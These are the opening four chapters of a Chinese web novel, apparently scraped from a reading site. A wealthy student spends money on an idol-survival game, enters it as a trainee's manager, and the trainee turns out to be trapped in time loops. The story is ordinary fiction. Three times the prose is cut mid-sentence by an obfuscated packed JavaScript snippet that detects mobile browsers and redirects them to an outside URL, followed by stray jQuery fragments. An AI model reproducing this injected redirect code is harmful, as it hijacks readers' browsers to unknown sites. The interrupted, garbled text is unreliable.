《氪金让我推攻略娱乐圈》 1. 重开 【孟舟淘汰，自此碌碌无为一生，成为娱乐圈的沧海遗珠。】 褚余看着游戏页面的这行字，气得双手有些发抖。 游戏名叫《Igotaboy》，大型娱乐圈养成游戏。褚余刚入坑这游戏没多久，才看完第一轮公演，就发现自己pick的小爱豆孟舟一轮游了。 到底哪一步走错了？褚余的选择从没失误过，她pick的爱豆就算不能C位，肯定也得出道吧，怎么可能第一轮就被淘汰了！ 没办法，重开吧。 褚余回到最开始的海选阶段，初舞台、主题曲、第一次公演，一顿忙忙碌碌。 【孟舟淘汰，自此疾病缠身，彻底退出娱乐圈。】 不是？ 忙活一通，怎么还是到一公就结束了，而且孟舟的命运怎么更悲惨了？ 这不合理！再来！ 【孟舟不幸车祸身亡……】 褚余：……？ 一开始还只是淘汰，现在怎么直接把人给整没了，策划你要不自己看看呢，这合理吗？ 褚余毫不犹豫地点开右上角——客服——投诉——人物结局不合理—— 系统弹出提示。 【请选择你推的角色。】 【江辰】【苏尧】【南易】【林然】【周彦】 …… 不是？孟舟连姓名都不配拥有吗？ 【请尽快选择。】 褚余只好选了其它，然后在备注上编辑了“孟舟”。 【玩家褚余你好，你所选择的角色为路人NPC。请返回上一界面。】 褚余：？ 褚余现身说法，人无语的时候真的会发笑。 孟舟怎么成NPC了！？虽然他在舞台上镶边，镜头有点少，歌词也没唱几句，跳舞也有点废……但是他是一众练习生里最有潜力的一个！ 褚余不管系统报错一通狂点。 【你的操作有误。】 褚余：刷新。 【你的操作有误。】 褚余：退出——重启——客服——投诉…… 刷新。刷新。刷新。 【你的操作有—— 【有误——】 【误——】 …… 【亲爱的褚余玩家您好，您所选择的区域我们尚未开发，请问您是否想充值游戏，助力我们开发新区域？】 这是什么催玩家氪金的新招数吗？褚余在心里偷偷阴阳了几句，但是自推还在这游戏手里。没办法，氪呗。 【本游戏仅可充值一次，后续不会再有充值页面，请玩家量力而行。】 什么意思？只能充一次？这到底是想赚钱还是不想赚钱？ 【请您输入金额。】 褚余：10000。 仔细一想，游戏里根本没给孟舟设置剧情，可能之前从来没人为孟舟充过钱，光这点根本不够吧…… 褚余：100000。 但是，初舞台后有一公，一公后有二公、三公、总决赛，出道了还有演唱会、团综、甚至电视剧……策划、文案、美术、后期，这些都要花钱…… 褚余：1000000。 这下应该够了。但是，前阵子股票好像又涨了…… 褚余：10000000。支付成功。 【尊敬的褚余玩家，是否选择现在进入游戏新区域？】 突然一阵昏天黑地，褚余的电脑上蹦出一长串乱码，她感觉浑身都沉甸甸的，好像被举重选手的杠铃压得站不起来。 【下面向您宣读游戏规则： 第一，游戏时长四个月，玩家可以中途退出，但一旦退出，不可重进。 第二，玩家不能向角色透露自己的真实身份，一旦被角色发现，将被拖出游戏。 第三，若陪伴角色淘汰，玩家游戏时间终止。 第四，玩家必须在决赛前退出游戏，不能干预最终结果。】 褚余一半身体掉到了地板以下，下边是一片虚空。 【进入游戏倒计时，5，4，3……】 难道这就是传说中的沉浸式游戏？褚余的大脑传来一阵酥麻的电流，“等，等一下！” 【玩家暂停进入。】 褚余努力整理着大脑：“你说的进入是我亲自去？在游戏里待上四个月？中间还不能出来？出来了就回不去了？” 【是。】 褚余：“但我还要考试啊！” 系统有些宕机了，好像无法理解，久久没有回应。 褚余被卡在一半进退不得，爱豆重要，但考试也重要，她刚从德国飞回来，就是为了这次期末考试，可不能说弃考就弃考了。 “等我先拿下考试，再帮孟舟拿下C位！” 褚余的身体被吐了回来，整个人因为体力不支趴到了键盘上。周围的一切又恢复如常，好像刚刚只是做了一场梦。 * 青城大学，考试周最后一天。 讲台上的监考老师拿出纸巾擦了一下额头上的汗，环视一圈，又继续低头玩着手机。 靠墙的三个女生坐在一起，互相交换着小抄。“我去，你写这么多，这么卷的吗？” “论卷谁卷得过褚余啊。”后座的女生向旁边瞅了一眼，“回回都考第一，不给别人留一点活路。” “褚是她的姓，第一是她的命，咱班这位大小姐不考第一浑身难受。” “要我看，谁第一还真说不准，她这么久没上课肯定要滑铁卢了。” “半个学期都没上课，偏偏考试周就回来了，谁知道有什么黑幕。” 旁边的褚余刚刚还在奋笔疾书，这会儿已经放下手中的笔，转过头直直地盯着她们三个。 “我靠你们小声点，她听到了！”后座女生踢了一下前边的椅子，尴尬地朝褚余笑了笑。 “老师——”褚余从座位上站起来，视线却还死死盯着她们三个。 讲台上的老师默默收起手机，一头雾水地看着站着的褚余。“怎么了？” “完了完了完了，小抄，小抄收起来！”三个人手忙脚乱，把小纸条到处乱塞，甚至直接塞到嘴里。 一团慌乱中，地上的水杯被踢了一脚，咕噜咕噜滚到了褚余脚下。 褚余觉得这画面实在好笑，她捡起水杯，朝那边抬了抬眉毛，那边的女生两眼一黑，还在“完了完了”。 褚余向讲台走去，小声说：“老师，能提前交卷吗？” 老师看了看手机时间，离考试结束还有1小时，有些震惊地点了点头。 坐在下边的三个女生用余光盯着讲台上发生的一切，只见褚余把水杯放在老师面前，指着她们这边说了些什么，然后拿起包扬长而去。 “朋友们，这次是真完了，我们惹到魔王了。”靠墙女生一副大限将至的模样。 老师放下手机，拿着那水杯缓缓走过来。 “完了，我们成绩不会作废吧？”后座女生小声嘀咕。 老师停在他们旁边，一脸担忧地问道：“没事吧？刚刚走的同学说你们吃东西噎到了。” 三女生：？ 可惜褚余忙着赶回去玩游戏，不然一定要好好欣赏她们仨的表情。 青城的六月已经热得不像话，自动贩卖机旁两个女生围了一圈大口喝着冷饮。 “最近那个很火的游戏，你们玩了吗？” “你说《Igotaboy》吗？我把所有故事线都玩遍了，就等更新了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300447|167162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哇你真是肝帝，那么多线竟然都玩完了，那你最喜欢谁啊？” “我当然是喜欢……” 说话的女生看到背着包从教室走出来的褚余，一下子哽住了。褚余早就注意到她，两人四目相对。 “咋了宋晚？”旁边女生推了推她。 “我之前的室友。”宋晚攥紧了手里的汽水瓶，扯出一个微笑，“不过我们不熟，人家是大小姐，看不上我们这种穷酸货。” 褚余浅笑一声，没搭理她们，径直离开了。 她没想到半学期没来学校，竟然还有这么多人“挂念”她，但褚余实在没闲心跟她们闲聊，好不容易考完一周的试，她现在只想好好休整，然后打开游戏大干一场。 青大西门外，国际酒店。 褚余洗漱完毕，刚打开电脑，就被手机提示音打断。 【医生：FrauChu,wiefühlensichIhreOhrenan?FallsSieBeschwerdenhaben,meldenSiesichbitteumgehendbeimir.（褚小姐，您的耳朵怎么样？如果有问题的话，请马上联系我。）】 【褚越：考得怎么样？】 褚余摸起手机，挨个回复。 【to医生：VielenDank,ProfessorDoktorHoffmann.MeineOhrensindGut.IchvermissedieZeit,alsichnichtsh?renkonnte.（谢谢您，霍夫曼医生，我的耳朵很好。我都有些怀念之前听不到的日子了。）】 【to褚越：第一。】 褚余登上《Igotaboy》游戏账号，等待加载。 【褚越：这么快就出成绩了？】 【褚余：没。】 虽然成绩还没出，但褚余出手，从无意外。 不就是第一嘛，她这点信心还是有的，毕竟试卷上的所有题目她都了然于心，甚至能清楚地记得答案具体在课件的哪一页。 【褚越：这学期的一千万发你了。】 褚越是褚余的哥哥，两人虽然见面极少，但每学期都有一千万的经济往来。自从褚余15岁那年开始，每次期末考第一名都会获得褚越的一千万奖励。 【褚余：收。】 褚余熟练地收下哥哥的资金，又熟练地买入哥哥公司的股票，看了眼分红，又净赚好几亿。 游戏终于加载到100%，熟悉的界面再次弹出来。 【尊敬的褚余玩家，是否选择现在进入游戏新区域？进入游戏倒计时，5，4，3……】 褚余任由虚空将自己完全吞噬，又是一阵酥酥麻麻，从大脑传遍全身， 四个月……孟舟……出道……不能暴露身份……褚余整理着自己的思绪，感觉自己整个身体都在急速下坠，不知道要落到哪里去。 【玩家是否已确认全部游戏规则？】 “是。” 【玩家选择的角色是否为练习生孟舟？】 “是。” 【玩家是否要保留本人形象信息？】 “是。” 【尊敬的褚余玩家，您在游戏中的身份为孟舟经纪人，已为您佩戴工牌。 您的可支配资产为十亿，已为您配置手机。 您拥有瞬间移动能力，可以在游戏中传送到任意地点。 接下来发放玩家勋章，请务必好好保存，这是您回到现实世界的唯一凭证。】 褚余看了看手上的银质勋章，上面刻有自己在游戏里的信息——全服氪金榜NO.1！ 突然一阵强光，褚余“哐——”的一声掉了下来。 2. 队内霸凌？ 褚余揉了揉眼睛，抬头一看——BS娱乐公司！ BS娱乐是游戏里负责选秀的公司，按照游戏里的剧情，孟舟第一次出场就是在《Igotaboy》海选现场，在队友林然旁边露了个脸。 门外的指示牌上写着“海选请上五楼，面试请上四楼”，褚余刷工牌走进公司，在电梯前等待。 三台电梯都在忙碌地工作，褚余等了又等，等了又等。 “这电梯也太慢了吧……对了，我可以传送。” 褚余在脑海中默念着“五楼”，一转眼就瞬移到了五楼海选现场。 楼道里满满都是人，站着的，坐着的，奇装异服的，染着红橙黄绿青蓝紫头发的。 褚余记得，孟舟海选的时候是跟队友在一起的，三个人都穿着红黑色机车服。他的妆造很简单，没戴耳钉，没戴眼镜，没画眼影，没涂口红。 她看了一圈，仿佛大海捞针，根本找不到…… 没办法，只能再用那一招了。 一眨眼的功夫，褚余又换了位置，一张帅脸出现在眼前。 ——是孟舟！ 传送果然好用，褚余有点爱上她的新技能了。 面前的孟舟留着微长的黑发，白衬衫，牛仔裤，脸色有些苍白，微微眯着双眼，正靠着墙小憩，整个人干干净净的，跟刚刚那些花红柳绿简直天壤之别。 “滚开！”一个恶狠狠的声音从褚余屁股底下钻了出来。 此时此刻，褚余正踩在一个人背上。 那人趴在地上，是被刚刚传送过来的褚余硬生生踩到地上的，整个身体跟地面来了一个亲密接触。 “不好意思，不好意思。”褚余有点尴尬地挪开，去扶地上那人，“你没事吧？” 褚余仔细一看，这不是孟舟初舞台时的队友吗，叫什么名字不记得了，只记得他那别具一格的韩式顺产头。 “你是哪来的疯女人？”顺产男上下打量着褚余，视线落在褚余挂着的工牌上，“孟舟经纪人？你是孟舟经纪人？” “孟舟，你什么时候有自己的经纪人了，我们怎么不知道。”顺产男又看向旁边，语气中几分讥笑。 孟舟缓缓睁开眼，一脸茫然。 褚余整理了一下根本不凌乱的头发，准备来个自我介绍：“孟……” “我衬衫弄脏了，孟舟，你把你的脱下来，给我。”顺产男毫不客气地说。 “听到没，你聋了吗？我让你脱下来给我！”顺产男见孟舟没反应就要上手。 这是在干嘛？队内霸凌吗？褚余自我介绍还没来得及说，被这场面整得有些迷惑。她站过去挡在孟舟面前：“你干什么？” “干什么？没看见我衬衫被你弄脏了吗？闪开！” 背后突然蹿出一个人，直接单手把顺产男硬生生地拉开了。 这个人叫林然，也是孟舟的队友，褚余对他印象很深刻，实力还算不错，是游戏里比较热门的角色。 顺产男见林然来了，顿时跟鹌鹑一样，一言不发了。 “你衬衫多少钱，我赔你，别为难孟舟。”褚余摸了摸口袋，掏出手机准备转账。 “这不是钱的问题，马上就要面试了，我不能这样进去吧。”赵石在林然的注视下，说话不敢太过放肆。 褚余：“那你也不能穿孟舟的，你穿了，他穿什么？” “他那实力，穿什么都一样。”赵石冷笑道，摆出一副欠收拾的模样。 “你说谁没实力！”褚余比当事人孟舟还要激动。 孟舟呆呆地说：“赵石，等会儿我去卫生间把衬衫换给你。” 林然拦了一下，默默解开了自己身上衬衫的第一颗扣子，对赵石说：“给你穿我的。” 赵石顿时又换了脸色，变成一副唯唯诺诺的熊样，他只敢招惹孟舟，不敢得罪林然。 褚余见赵石那样子就来气，简直是见人下菜碟。但自己惹出来的麻烦还是要自己解决才行，更何况，孟舟还在旁边看着，她不展现出一点实力和担当怎么能行呢。 “我给你弄脏的我负责，你等着吧。” 赵石：“还有五分钟就进去了，你让我穿着这身进去吗？要是海选被刷了，你负得了责吗！” 褚余：“我说了负责，闭嘴等着。” 褚余走到走廊另一边没人的地方。 一分钟后，她提溜着商场的购物袋走过来，里面是商场能买到的最贵的白衬衫。 她把购物袋丢到旁边的椅子上，刚刚还在喋喋不休的赵石一下子闭嘴了。 褚余不想给赵石任何眼神，她一来到这儿就粘上这个顺产男、霸凌怪，想跟孟舟说话都被打断了。她想象过无数次跟自推见面的情景，万万没想到会是现在这样。她甚至还没跟孟舟说过一句话！ 孟舟他们马上就要进去面试了，褚余抓住机会，越过所有人走到孟舟面前，轻轻说了句，“面试加油！” 孟舟呆呆地望着她，眨了眨眼，一言不发，转头就进去面试了。 * 褚余一个人坐在走廊的长椅上，思绪万千。 之前怎么没发现孟舟这么呆呢，被霸凌了一句话也不说，被救了也是一句话不说，一点情绪起伏都没有。 褚余仔细回想了一下，她感觉印象中的孟舟好像不是这个样子的。 难道，我推真的变成NPC了？变成毫无感情的人机了？ 她回想起自己刚刚直接传送到孟舟面前的情景，一个莫名其妙的陌生人从天上掉下来，还在一分钟内凭空变出一件衬衫，最后还莫名其妙地说句“面试加油”。 细思极恐！越思越恐！难道孟舟是因为怀疑她的身份才这么冷漠？要是被发现不对劲那她这趟旅程还没开始就要结束了。 此时孟舟和队友们已经面试出来，褚余正心如死灰地坐等孟舟的审判。 “你……”孟舟走过来盯着褚余，“新来的？” 褚余咽了一口口水：“是。” 孟舟：“经纪人？” “嗯。” 孟舟：“你叫什么？” “褚余。” 孟舟：“你是我一个人的经纪人，还是我们全队的经纪人？” “你的。” 孟舟点点头，看不出什么情绪，默默地盯着对方，好像没有要开口的意向。 两人你看看我，我看看你，长达半分钟的沉默。 褚余试探：“你还有什么要问的吗？” 孟舟终于开口：“你有什么需要我做的？” 褚余：“啊？” 孟舟指了指正在离开的队友：“面试我已经完成了，你这边的任务是什么？” 褚余的大脑疯狂运转，自己好像没有被怀疑，但……孟舟说的任务是指什么？难道…… 褚余突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300448|167162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然正襟危坐，甚至说话都带上了播音腔，“我的任务就是——改变你的命运！” 孟舟轻轻笑了一声。 褚余一脸正经：“我说真的，我就是为了改变你的命运才来的。” “那你要怎么改变我的命运呢？” “我想让你出道。” 楼道里来来往往的练习生似乎都对“出道”这个词语异常敏感，有意无意地看向褚余和孟舟。 褚余注视着孟舟的眼睛，想从他的眼神中找到熟悉的对出道的渴望。 孟舟撇过头，“但是，这个任务，我完成不了。” 他好像有些不一样了，褚余看着眼前的孟舟，难道是因为队内霸凌？难道是队友把孟舟变成了现在这样？ “孟舟！”褚余决定了，“退队吧！” 其实褚余之前就想过，孟舟为什么在游戏里一点也不起眼，首先就要归咎于初舞台。 孟舟之前的初舞台是嘻哈风格，他作为一个vocal挤在这支rapper队伍中，格格不入。表演的时候只能迁就队伍的整体风格，不会rap硬rap，既没展现出任何亮点，还把短板暴露无遗了。 就算不是因为霸凌，这个队也必须退！ 说干就干，孟舟还没来得及反应，褚余就直接拉着他冲到了他们团所属的公司。 那公司是个典型的小作坊，地方小，配置不全，人也不专业。褚余说退队的时候，老板只想着违约金，别的一概不管。 褚余别的不说，就是钱多，分分钟掏出一百万带人赎身。 老板见钱眼开，没有丝毫挽留，甚至还腆着脸问褚余要不要再赎一个。 褚余拿了解约书当场走人，这小作坊不知道压榨了多少人，她虽然有钱但也不是慈善家，有的时候还是要尊重个人命运。 宣布成为自由人的孟舟好像并不轻松，他在门前踌躇了一会儿：“我真的就这么走了？不用管他们吗” 他们指的是原来的队友。 “他们刚刚那样对你，你还舍不得他们吗？”褚余对之前对内霸凌的事耿耿于怀，他们主要指赵石和那些不作为的队友。 “你是说赵石那事吗？”孟舟轻轻笑了一下，“我估计那是他的任务吧，他也是身不由己。” 孟舟抚摸着衬衫袖口上歪歪扭扭的队标：“我们队长还是很好的。” 褚余：“林然？”林然当时出手拦了一下，姑且算个好人。 “嗯。”孟舟思忖片刻，“其实我之前尝试离开过，我和他们本来就不适配，总是拖队伍后腿，我离开了对他们应该是好事。” 褚余有点心疼：“你离开了是他们的损失，是他们不懂得好好发挥你的实力，不是你不行！放心吧，等我们初舞台的时候狠狠打他们的脸！” 孟舟轻轻笑了：“你这么有信心？” 褚余：“我对你有信心！” 任何人只要见过那个在舞台角落也能闪闪发光的孟舟，都不可能会没有信心。初舞台要做的就是让所有人都聚焦在孟舟一个人身上，把之前没机会展示的才华全都展示出来。 “可是……” “我知道你在担心什么！”褚余已经在心里盘算过无数遍，《Igotaboy》主要考察唱跳能力，孟舟唱歌没问题，但舞蹈方面严重不足。 “我已经制定好计划，从现在开始，我们要开启魔鬼训练模式！” 3. 开始录制 魔鬼训练第一关，基本功。 孟舟看着褚余ipad上下载的视频，发出疑问：“这能管用吗？” 褚余：“这可是著名娱乐公司PJY的基本舞步，顶级爱豆都在学的教程！” 孟舟大为震撼。 魔鬼训练第二关，进阶编舞。 褚余请了BS公司御用编舞老师Mike，每天一对一手把手教学。 孟舟：“老师不用上班的吗？” 褚余：“我买断了，老师以后只教你一个人，这辈子只教你一个人。” 孟舟再次震撼。 魔鬼训练第三关，freestyle能力。 褚余从全国各地召集了一批freestyle舞者，涵盖各个舞种，轮番上阵跟孟舟battle。 孟舟：“要掰到什么时候？” 褚余：“先掰完这批，下批还在路上。” 孟舟已经无力震撼。他像一个抖M的陀螺，正在被褚余抽得团团转。 虽说揠苗助长不是什么好事，但现在离节目录制开始只剩一个月，褚余只能加料猛攻，只是苦了孟舟，每天都在魔鬼训练中度过，除了练舞还是练舞，几乎住在了练舞室。 当然，练舞室也被褚余买下来了。 另外还有专门的营养师、健身教练、造型师、各种乐器指导、心理咨询师…… 褚余还在练舞室旁边租了一套房，天天接送，颇有种陪儿子上高三的伴读父母的感觉，倾尽所有，望子成龙，如果孟舟真的是高三生的话，照这架势感觉考上清北指日可待。 当然，除了陪读，褚余一点也没闲着。 为了让孟舟在初舞台时一鸣惊人，她把《Igotaboy》导师和工作人员的底细查了个底朝天，按照他们的不同喜好为孟舟精心设置了一个初舞台，保证全票通过。 高考那天如约而至，送孟舟进考场的老母亲褚余被拦在了校门口。 “经纪人不能陪同哈。”《Igotaboy》的工作人员冷冰冰地向褚余发了逐客令，“我们节目是封闭式管理，只有参赛人员能进入。” “封闭管理？三个月？” “封闭管理三个月。” 褚余看着孟舟一个人走进考场，抹了一下根本没有的眼泪。 送儿千里，终有一别……但一别就是三个月，三个月之后褚余都要回现实世界了！更重要的是，初舞台的相关事项她没来得及跟孟舟说！ 孟舟早就走进节目录制基地，这会已经没影了。 褚余掏出手机拨通孟舟的电话。 “对不起，你拨打的电话已关机，请稍候再拨。” 工作人员冷冷地对褚余说：“我们节目录制必须收手机。” “不是吧……”褚余有点崩溃，这是录节目还是监狱？不仅见不到面连话都不能说。 但是为了避免有太重的表演痕迹，她一直没跟孟舟说初舞台具体要表演什么，没想到现在别说痕迹了，表演都要没了！ 褚余思来想去，不可能让孟舟孤军奋战。按照节目组之前通知的，孟舟是倒数第二组表演，在孟舟上场之前，褚余还有四个小时。 她看了门口的保安，对方人高马大，硬闯估计是行不通的。 传送进去？不是长久之计。想光明正大进入录制基地，三个月全程陪伴，必须想一个万全之策。 BS娱乐人事部。 等待面试的实习生们坐在走廊旁边，一水的紧张神色，手上捏着简历，嘴里不停地嘟囔着。 褚余提着电脑阔步走来，二话不说，直接闯进了面试间。 “哎哎哎，面试还没开始呢。” “我不是来面试的，我是来销售的。”褚余淡定说道。 “我们这不允许推销哈。” “你先听我说完，再赶我也不迟。”褚余自信打开电脑，屏幕上是自己五分钟前做的PPT，构图精美，内容详实。 ——褚余要推销的是她自己。 摄像、灯光、布景、录音无一不精，剪辑、特效、建模、混音无一不晓，上可做编导制片，下可跑商务宣传，节目组所有门类的工作她都能胜任，最重要的是，工资，她分文不收。 HR听得一愣一愣的。 “我们节目组确实很需要你这样的实习生。什么时候能入职？” 褚余：“现在。” “能实习多久？” 褚余：“三个月。” “接不接受加班？” 褚余：“接受。” HR大喜，做出握手的动作：“好，你可以马上入职！” 褚余伸出手回握对方：“合作愉快！” “但是……，”HR话锋一转，“你知道的，我们这个岗位非常抢手。所以我们公司规定，一个名额需要交一万块钱，你能接受吗？” 褚余立马收回握着的手，能接受，才怪！ 软磨硬泡这么久，竟然得到一个付费实习位。她虽然不差这点钱，但本来当牛马已经是无奈之举，现在竟然还是个付费牛马，她可不想受这份窝囊气。 褚余：“婉拒了哈。” HR看着褚余头也不回地离开，一脸惋惜。 虽然没得到这份实习，但HR何尝不是提供了一种思路。 褚余瞬间传送回了录制基地，这会儿差不多是饭点，她偷偷猫到了餐饮区，暗中观察。 工作人员来来往往，一个个如同行尸走肉，每个都像是被工作吸干了精气。 褚余从其中选了最丧尸的一个，拦了下来，把准备好的奶茶递给这位幸运尸姐，“老师，要不要谈一下合作？” “不好意思，我还得马上回去，没时间。”尸姐摇头，慢半拍地接过奶茶袋，沉甸甸的，定睛一看，里边装着一万块钱！ 一瞬间她好像有了点人气儿：“什么合作？” “我帮你上班工作，工资你照领不误，还额外给你一万块钱，如何？” 这样褚余获得了正大光明混进节目组的机会，对方获得了休息和金钱，可谓是双赢。 褚余的话太有吸引力以至于幸运尸姐有点不相信自己的耳朵。 “不用上班还能拿工资还额外发补贴的好日子终于轮到我了吗！？”幸运尸姐几乎要哭了，“合作多久？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300449|167162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褚余：“三个月。” “能不能一辈子？” 那有点难办了，褚余摇摇头，目送对方离开。 节目已经开始录制，现场一阵阵声浪传过来，褚余凭借导演助理的工牌，顺理成章地进到了节目后台。 “哎，你！”一个男人把褚余叫住。 褚余远远地打量着对方，对方看上去30多岁，黑T黑帽，黑框眼镜，身材微微发福，脸却不胖。 好熟悉，好像在哪见过…… 褚余的脑海里闪过之前调查到的资料，努力搜寻着面前这张脸的信息。 找到了！节目导演齐钧，BS娱乐公司总裁的儿子，不学无术的富二代。 褚余小跑过去：“导演，我是新来的导演助理褚余，来替L姐的班。” “嗯，她给我发微信说了。”齐钧搭上褚余的肩膀，“褚余是吧？那我叫你小余。” 齐钧低下头凑到褚余面前，笑眯眯地说：“多大了？” 褚余尴尬地笑了笑，她实在不习惯别人对她上手，何况是第一次见面的陌生人。但对方是顶头上司，她还要在这儿待三个月，只能暂时忍一下了。 “我19，导演，没什么事我先去忙了。”褚余弯了弯腰装作鞠躬的样子，实则甩开了对方搭在肩上的手。 “哎哎，先别走。”齐钧正了正褚余胸前的工牌，看着“导演助理”四个字笑了笑，“导演助理怎么比导演还忙，我话还没说完，你就急着要走了。” 褚余无语，导演助理当然比导演忙了，尤其是像他这种屁事不干、到处溜达、嘴里没一句正事的挂名导演。 她实在不想再跟他耽误时间，从口袋里掏出手机假装有电话打过来，“导演，我接个工作电话哈。” 褚余一边接着电话一边走开，嘴里说着些有的没的，直到离开了齐钧的视线。 录制现场正在有条不紊地拍摄着，褚余绕到演播厅侧方，在这个角度正好能看清舞台和后边的练习生。 褚余一眼就定位到了孟舟，他坐在左边过道旁的第二层，旁边是前队友林然，两个人正讨论着什么。 褚余看了看演出顺序表，孟舟前边还有三组表演，等到中途休息的时候，她就可以借工作人员的身份出去跟孟舟同步信息。 “现场什么时候休息？”舞台上刚刚表演完了一组，褚余拦住一个路过的场务询问道。 “休息？我们不休息的呀。” 褚余有点懵了，她指着演出顺序表中写的“每三组表演结束后现场休息一次”说：“那这是什么意思？” “哦，这个啊，大概是排演出表的老师自己幻想出来的休息时间吧，实际上我们根本不休息的。” “从开始到现在一次都没休息过？！”褚余一脸不可置信。 “没有。”场务淡淡道，似乎已经习以为常。 褚余这才明白过来，为什么所有的工作人员全都是的丧尸模样，这节目组，简直不把游戏角色当人看。 她拿起旁边的对讲机，调到全部频道：“各部门工作人员请注意！导演发话，10分钟后，现场休息，务必执行！” 4. 任务漩涡 节目录制中心的门口摆着一块巨大的屏幕，上边是《Igotaboy》的规则介绍： 《Igotaboy》是国内最大的娱乐公司BS娱乐策划的首档大型偶像选秀节目，从全国各地海选了101名优秀练习生，将通过初舞台评级、主题曲舞台和三次公演，最后在总决赛之夜选出一位最强练习生，然后由最强练习生选出4位成员作为自己的队友，共同出道…… 孟舟在大屏面前久久驻足。 在他的记忆中，这是他第四次来到这里。 第一次，他在一公后被淘汰了。 回家的车上，他大哭一场，但眼泪还没干，他竟然又回到了海选现场，和两个月前一模一样的场景。一旁的林然和赵石正准备着面试，好像一切都没有发生。 孟舟告诉林然自己身上发生的一切。“队长，这到底是怎么回事？” “傻小子，做梦了吧。”林然揉了揉孟舟的脑袋，他不记得，也不相信。 真的是梦吗，孟舟继续面试、初舞台、主题曲，但所有发生的一切和那场梦中一模一样。 那不是梦！孟舟开始确信这个世界出了什么问题。 他问身边所有人记不记得之前的事情，他们只觉得孟舟疯了，最后孟舟在一公后被诊断为精神疾病，被强制送往医院。 这是他第二次被淘汰。 孟舟躺在医院的病床上，一眨眼，又回到了海选现场，依旧一模一样的场景，他去问林然，林然依旧不记得发生过的一切。 这个世界究竟是什么？为什么所有一切都像是在循环？他又是什么？为什么别人都没有记忆，单单他一个人记得？ 孟舟仔细回想着前两次几乎一模一样的经历，都是到一公就结束了，如果没有一公，会不会就不再循环了。 “孟舟，你要去哪？”林然错愕，旁边的孟舟正在收拾东西准备离开。 “还要五分钟就面试了，你在发什么疯！？”赵石揪着孟舟的衣领，猛地提起来。 “赵石，你先放开他！”林然把赵石拉开，又对孟舟，“孟舟，你怎么了？不舒服吗？” “对不起，队长，赵石。”孟舟头也不回地离开了。 这一次，他要做点不一样的。 孟舟回到家，家里空空荡荡的，只剩下四面白墙，没有一点活人的气息。 “爸！妈！”孟舟一个劲地叫着，但找不到任何爸妈的痕迹。 突然空间一阵扭曲，孟舟又回到了海选现场。 赵石拽着孟舟的衣服，直接撕开了一个口子！ “你在发什么疯！？”赵石说着说过的话，但语气更加凶狠。 “赵石你别太过分！”林然把赵石拽开，“孟舟，你怎么了？不舒服吗？” 孟舟怔在原地，这一切，究竟是怎么回事，物理学不存在了？爸妈也不存在了？ 就这样又到了节目录制基地。孟舟制定了一系列出逃计划，但每一次都会被遣送回原地。 一公又结束了，虽然这次情况跟前两次都不一样，但孟舟还是隐隐感到有些不安。 正在打游戏的室友江辰虽然听不懂孟舟在抱怨什么，但感到有些共情：“有些游戏很烦的，只能一遍又一遍地做任务。” “那要是完不成任务会怎样？” “会变得不幸。” 孟舟脊背发凉，他觉得自己处在一个巨大的任务漩涡中。 他走出演播厅，对天空大声呼喊着自己的疑问，突然一辆车呼啸而过，孟舟顿时感觉天昏地暗。在黑暗里不知道沉睡了多久，醒来又回到了熟悉的海选现场。 第一次，他被淘汰了，第二次，他被说疯了，第三次，他被车撞死了。一公就像是一个诅咒，他永远撑不到一公的第二天。 孟舟悟了，这个世界就是一个巨大的游戏系统。 第四次循环开始了，这次游戏里加了一个叫褚余的新角色，登场方式非常独特，号称自己是孟舟经纪人。 孟舟已经无力吐槽，游戏发展到现在真是演都不演了，新角色竟然直接从天而降，颜值比艺人都高竟然是个经纪人。 更离谱的是，她的任务居然是让他出道。新人物就是年轻有干劲啊，但是这个任务是无法完成的，毕竟孟舟只能活到一公。 她带着他退队，孟舟原以为退到一半又会像之前那样被强制倒带，但竟然什么都没有发生，一切都进行得很顺利。 孟舟想起江辰说过的话，要是一直完不成任务，系统就会暗戳戳地降低游戏难度。 太人性化了！孟舟逐渐相信，褚余就是系统派给他的通关buff！ “孟舟？”一个熟悉的声音打断了孟舟的思绪。 孟舟一听声音就知道是谁，他回过头笑着打招呼：“队长。” “你都退队了还叫什么队长。”林然狠狠肘了孟舟一下，“走的时候怎么不跟我说一声，我们应该庆祝一下，祝贺你脱离苦海。” 孟舟有点不好意思：“我也不知道我真的能走。” “说什么傻话，你小子最近一直都很奇怪，我还以为你是被公司压榨得心情不好，怎么都离开公司了还是一副呆样？你要是有什么事一定要告诉我啊，不要自己一个人憋着。” 林然关心地问，他觉得孟舟之前的状态不是很对劲，作为曾经的队长他觉得自己很失职。 “我没事。”孟舟微微一笑，不是他不愿意说，是说了也没用，说多了还会被当成疯子。“队长，走吧，我们该进去了。” “你先去吧，我再等等。”林然指了指后边，赵石还没来，他得等他一起进去。 